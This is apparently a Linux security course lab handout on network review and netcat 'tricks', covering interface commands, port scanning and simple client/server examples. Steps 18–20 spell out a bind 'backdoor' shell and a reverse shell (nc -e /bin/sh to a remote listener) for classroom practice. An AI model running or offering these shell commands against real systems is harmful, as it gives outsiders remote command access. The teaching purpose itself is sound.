Lab Exercise #4: Simple Network Review and Hacking

CIS 290 – LINUX SecurityLab Exercise #4: Simple network review and hacking1. Install under LINUX – netcat, nmap, Wireshark, firewall and configuration tools. 2. Display all interfaces: ifconfig –a, ifconfig down eth0, ifconfig up eth0 3. Display interface physical attributes: ethtool eth0 4. ping gateway 5. traceroute csc.oakton.edu 6. netstat –rn 7. arp –a 8. telnet csc.oakton.edu 9. netstat –an 10. Review /etc/sysconfig/network-scripts 11. route print, netstat -rn Stupid network tricks using TELNET, netcat, nmap:12. Simple client/server nc -l 1111 nc 127.0.0.1 1111 This is a test This is a test. Ending communication with ^C (Ctrl-C) (Ctrl-C)13. Simple file transfer nc -l 1234 > test.out echo Hi There!!!!! | nc 127.0.0.1 123414. Client to web server echo -e "GET http://www.oakton.edu HTTP/1.0\n\n\n\n" | nc -w 5 www.oakton.edu 8015. Or getting a server header: echo -e "HEAD / HTTP/1.0\n\n" | nc 10.0.2.100 8016. Web Host web.txt <HTML> <HEAD><TITLE>Welcome to Bob's Webpage</TITLE></HEAD> <BODY>Welcome to Bob's Webpage!!!!!!!! </BODY> </HTML> cat web.txt | nc –l –v 80Point browser to your system – http://127.0.0.1. CIS 290 – LINUX SecurityLab Exercise #4: Simple network review and hacking17. Port scanning: nmap –sT –p 1-65535 <ip address> nc -z 127.0.0.1 1-1024 echo "quit" | nc -z 127.0.0.1 1-1024 echo EXIT | nc –z -w 1 127.0.0.1 1-102418. TELNET client/server nc -t -l 2323 | /bin/bash nc 127.0.0.1 2323 echo "Hi there" logout19. “Backdoor” shell (-e option not in LINUX, note step 18 as bypass) nc –e /bin/bash -l 2023 nc –v 127.0.0.1 2023 or telnet 127.0.0.1 2023-e option not in LINUX nc -l 2023 | /bin/bash provide access to bash builtin commands (no external executables.) 20. “Reverse” shell (-e option not in LINUX) Local machine: nc -n -v -l -p 1234 Remote machine: nc -e /bin/sh 10.0.2.100 123421. Telnet to discovered ports: telnet <ip address> <tcp port #>

Lab Exercise #4: Simple Network Review and Hacking

Details

Download

Copyright

We respect the copyrights and intellectual property rights of all users. All uploaded documents are either original works of the uploader or authorized works of the rightful owners.

Support